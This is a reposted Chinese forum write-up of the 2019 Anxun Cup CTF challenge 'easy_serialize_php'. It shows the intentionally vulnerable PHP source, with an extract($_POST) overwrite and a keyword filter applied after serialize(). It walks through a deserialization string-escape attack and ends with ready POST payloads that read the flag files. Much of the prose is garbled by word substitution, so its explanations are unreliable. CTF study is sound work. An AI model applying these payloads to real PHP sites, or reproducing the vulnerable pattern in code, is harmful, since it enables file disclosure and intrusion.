马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php - DGhh - 博客园 (cnblogs.com)
[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)
涉及的考点是字符串逃逸
- <?php
- //GET一个f
- $function = @$_GET['f'];
-
- //定义过滤的字符串数组
- function filter($img){
- $filter_arr = array('php','flag','php5','php4','fl1g');
- //将数组元素拼接成正则表达式的形式
- $filter = '/'.implode('|',$filter_arr).'/i';
- //使用正则表达式替换掉这些字符串
- return preg_replace($filter,'',$img);
- }
- if($_SESSION){
- unset($_SESSION);
- }
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = $function;
- extract($_POST);
- //如果f不存在,就显示初始的帮助页面
- if(!$function){
- echo '<a href="index.php?f=highlight_file">source_code</a>';
- }
- //如果GET请求中没有'img_path'参数
- if(!$_GET['img_path']){
- //设置默认会话图片路径
- $_SESSION['img'] = base64_encode('guest_img.png');
- }else{
- //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
- $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
- }
- //将会话信息进行了序列化
- $serialize_info = filter(serialize($_SESSION));
- if($function == 'highlight_file'){
- highlight_file('index.php');
- }else if($function == 'phpinfo'){
- eval('phpinfo();'); //maybe you can find something in here!
- }else if($function == 'show_image'){
- $userinfo = unserialize($serialize_info);
- echo file_get_contents(base64_decode($userinfo['img']));
- }
复制代码 先来看一下末了的一段代码
- //f=highlight_file就显示index.php
- if($function == 'highlight_file'){
- highlight_file('index.php');
- //f=phpinfo就显示PHP配置信息
- }else if($function == 'phpinfo'){
- eval('phpinfo();'); //maybe you can find something in here!
- //最后一段就是我们拿到flag的关键吧,f=show_image,
- }else if($function == 'show_image'){
- //反序列化后得到的会话数据
- $userinfo = unserialize($serialize_info);
- //输出base64解码后的图片内容
- echo file_get_contents(base64_decode($userinfo['img']));
- }
复制代码 然后我们看看phpinfo内里有什么
看到auto_append_file函数内里有个 d0g3_f1ag.php,这肯定是我们要拿到flag的关键
d0g3_f1ag.phpbase64加密为ZDBnM19mMWFnLnBocA==
- //将会话信息进行了序列化并且过滤
- $serialize_info = filter(serialize($_SESSION));
复制代码 继续向上看代码,上面的filter应该是对其传入的会话信息举行了一次过滤
然后出现了一个变量覆盖
- if($_SESSION){
- unset($_SESSION);
- }
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = $function;
- extract($_POST);
复制代码 unset对$_SESSION举行了烧毁
背面又重新界说了$_SESSION
但是extract函数对变量举行了覆盖
extract函数从数组中将变量导入到当前的符号表。
举个栗子
- <?php
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = $function;
- var_dump($_SESSION);
- echo "<br/>";
- extract($_POST);
- var_dump($_SESSION);
- ?>
复制代码
POST一个flag上去就将_SESSION内里的值完全覆盖了
直接_SESSION['img']是不可的,由于背面还对_SESSION[img]又举行了一次加密,如许传到下面的值输出后就不精确了
以是我们必要让guest_img.png逃逸,让其不举行shal加密
然后得到了一个新的知识点
php字符串逃逸
举个栗子
- <?php
- $img['one'] = "flag";
- $img['two'] = "tqlu";
- $a = serialize($img);
- var_dump($a);
- ?>
复制代码 img是一个数组,将数组举行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}"
- <?php
- $a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
- var_dump(unserialize($a));
- $b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
- var_dump(unserialize($b));
- ?>
复制代码
就算在}背面添加了abc,末了输出也是上面那那串反序列化的东西,阐明反序列化是会处理处罚垃圾信息的
反序列化是有肯定的范围的,对应的格式不能堕落,如果s:3:'one'那么s:3背面就就必须要有长度为3的字符串,否则就会向后继续要,这就算是逃逸
那我们如许构造一个数组呢
- <?php
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = 'a';
- $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
- var_dump(serialize($_SESSION));
- ?>
复制代码 得到了如许一串
- a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码 由于要让guest_img.png举行逃逸,以是可以将img这段放到花括号外貌去,以是如许子写呢
- <?php
- $_SESSION["user"] = 'guest';
- $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
- $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
- var_dump(serialize($_SESSION));
- ?>
复制代码- a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码 花括号外貌的是垃圾数据了
现在我们必要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是我们可以过滤器过滤掉php大概flag将我们把不要的东西给去掉
我们不要的是;s:8:"function";s:42:"a"这一串东西,一共是24个字符
以是必要6个flag举行这个过滤
构造一下
- <?php
- $_SESSION["user"] = 'flagflagflagflagflagflag';
- $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
- $_SESSION['img']='ZDBnM19mMWFnLnBocA==';
- var_dump(serialize($_SESSION));
- ?>
复制代码 实验出来是如许
- a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码 flag被过滤
- a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码 向后延24位,以是
- s:24就相当于 ;s:8:"function";s:42:"a"
- 我们剩下的是:
- a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
- 去掉垃圾数据
- a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
复制代码 以是
为什么背面尚有加一个s:2:"aa";s:1:"a";,由于}不是被看成垃圾数据处理处罚了嘛,但是这个数组有三个值,以是我们在背面本身构造一个
- _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
复制代码
在/d0g3_fllllllag中
base64后是L2QwZzNfZmxsbGxsbGFn照旧20位
直接改
- _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}
复制代码
这道题好抽象,想了好久
|